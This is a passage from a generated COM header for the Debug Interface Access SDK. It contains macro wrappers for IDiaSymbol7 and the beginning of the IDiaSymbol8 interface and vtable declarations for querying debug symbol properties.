get_isSdl(This,pRetVal) ) #define IDiaSymbol7_get_isWinRTPointer(This,pRetVal) \ ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) #define IDiaSymbol7_get_isRefUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) #define IDiaSymbol7_get_isValueUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) #define IDiaSymbol7_get_isInterfaceUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) #define IDiaSymbol7_findInlineFramesByAddr(This,isect,offset,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) #define IDiaSymbol7_findInlineFramesByRVA(This,rva,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) #define IDiaSymbol7_findInlineFramesByVA(This,va,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) #define IDiaSymbol7_findInlineeLines(This,ppResult) \ ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) #define IDiaSymbol7_findInlineeLinesByAddr(This,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) #define IDiaSymbol7_findInlineeLinesByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) #define IDiaSymbol7_findInlineeLinesByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) #define IDiaSymbol7_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) \ ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) #define IDiaSymbol7_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) \ ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) #define IDiaSymbol7_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) \ ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) #define IDiaSymbol7_getSrcLineOnTypeDefn(This,ppResult) \ ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) #define IDiaSymbol7_get_isPGO(This,pRetVal) \ ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) #define IDiaSymbol7_get_hasValidPGOCounts(This,pRetVal) \ ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) #define IDiaSymbol7_get_isOptimizedForSpeed(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) #define IDiaSymbol7_get_PGOEntryCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) #define IDiaSymbol7_get_PGOEdgeCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) #define IDiaSymbol7_get_PGODynamicInstructionCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) #define IDiaSymbol7_get_staticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) #define IDiaSymbol7_get_finalLiveStaticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) #define IDiaSymbol7_get_phaseName(This,pRetVal) \ ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) #define IDiaSymbol7_get_hasControlFlowCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) #define IDiaSymbol7_get_constantExport(This,pRetVal) \ ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) #define IDiaSymbol7_get_dataExport(This,pRetVal) \ ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) #define IDiaSymbol7_get_privateExport(This,pRetVal) \ ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) #define IDiaSymbol7_get_noNameExport(This,pRetVal) \ ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) #define IDiaSymbol7_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) #define IDiaSymbol7_get_exportIsForwarder(This,pRetVal) \ ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) #define IDiaSymbol7_get_ordinal(This,pRetVal) \ ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) #define IDiaSymbol7_get_frameSize(This,pRetVal) \ ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) #define IDiaSymbol7_get_exceptionHandlerAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) #define IDiaSymbol7_get_exceptionHandlerAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) #define IDiaSymbol7_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol7_get_exceptionHandlerVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) #define IDiaSymbol7_findInputAssemblyFile(This,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) #define IDiaSymbol7_get_characteristics(This,pRetVal) \ ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) #define IDiaSymbol7_get_coffGroup(This,pRetVal) \ ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) #define IDiaSymbol7_get_bindID(This,pRetVal) \ ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) #define IDiaSymbol7_get_bindSpace(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) #define IDiaSymbol7_get_bindSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) #define IDiaSymbol7_get_isObjCClass(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) #define IDiaSymbol7_get_isObjCCategory(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) #define IDiaSymbol7_get_isObjCProtocol(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) #define IDiaSymbol7_get_inlinee(This,pRetVal) \ ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) #define IDiaSymbol7_get_inlineeId(This,pRetVal) \ ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) #define IDiaSymbol7_get_noexcept(This,pRetVal) \ ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) #define IDiaSymbol7_get_hasAbsoluteAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) #define IDiaSymbol7_get_isStaticMemberFunc(This,pRetVal) \ ( (This)->lpVtbl -> get_isStaticMemberFunc(This,pRetVal) ) #define IDiaSymbol7_get_isSignRet(This,pRetVal) \ ( (This)->lpVtbl -> get_isSignRet(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol7_get_isSignRet_Proxy( IDiaSymbol7 * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol7_get_isSignRet_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); #endif /* __IDiaSymbol7_INTERFACE_DEFINED__ */ #ifndef __IDiaSymbol8_INTERFACE_DEFINED__ #define __IDiaSymbol8_INTERFACE_DEFINED__ /* interface IDiaSymbol8 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSymbol8; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("7f2e041f-1294-41bd-b83a-e715972d2ce3") IDiaSymbol8 : public IDiaSymbol7 { public: virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_coroutineKind( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_associatedSymbolKind( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_associatedSymbolSection( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_associatedSymbolOffset( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_associatedSymbolRva( /* [retval][out] */ DWORD *pRetVal) = 0; virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_associatedSymbolAddr( /* [retval][out] */ ULONGLONG *pRetVal) = 0; }; #else /* C style interface */ typedef struct IDiaSymbol8Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSymbol8 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSymbol8 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSymbol8 * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaSymbol8 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSymbol8 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( IDiaSymbol8 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSymbol8 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( IDiaSymbol8 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( IDiaSymbol8 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( IDiaSymbol8 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( IDiaSymbol8 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( IDiaSymbol8 * This, /* [retval][out] */ VARIANT *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( IDiaSymbol8 * This, /* [retval][out] */ GUID *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( IDiaSymbol8 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( IDiaSymbol8 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( IDiaSymbol8 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_dataBytes )( IDiaSymbol8 * This, /* [in] */ DWORD cbData, /* [out] */ DWORD *pcbData, /* [size_is][out] */ BYTE *pbData); HRESULT ( STDMETHODCALLTYPE *findChildren )( IDiaSymbol8 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( IDiaSymbol8 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( IDiaSymbol8 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD isect, /* [in] */ DWORD offset, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( IDiaSymbol8 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ ULONGLONG va, /* [out] */ IDiaEnumSymbols **ppResult); HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( IDiaSymbol8 * This, /* [in] */ enum SymTagEnum symtag, /* [in] */ LPCOLESTR name, /* [in] */ DWORD compareFlags, /* [in] */ DWORD rva, /* [out] */ IDiaEnumSymbols **ppResult); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetSection )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetOffset )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetRelativeVirtualAddress )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_targetVirtualAddress )( IDiaSymbol8 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_machineType )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_oemSymbolId )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_types )( IDiaSymbol8 * This, /* [in] */ DWORD cTypes, /* [out] */ DWORD *pcTypes, /* [size_is][size_is][out] */ IDiaSymbol **pTypes); HRESULT ( STDMETHODCALLTYPE *get_typeIds )( IDiaSymbol8 * This, /* [in] */ DWORD cTypeIds, /* [out] */ DWORD *pcTypeIds, /* [size_is][out] */ DWORD *pdwTypeIds); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectPointerType )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_udtKind )( IDiaSymbol8 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( STDMETHODCALLTYPE *get_undecoratedNameEx )( IDiaSymbol8 * This, /* [in] */ DWORD undecorateOptions, /* [out] */ BSTR *name); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noReturn )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_customCallingConvention )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noInline )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_optimizedCodeDebugInfo )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notReached )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_interruptReturn )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_farReturn )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStatic )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( IDiaSymbol8 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( IDiaSymbol8 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( IDiaSymbol8 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( IDiaSymbol8 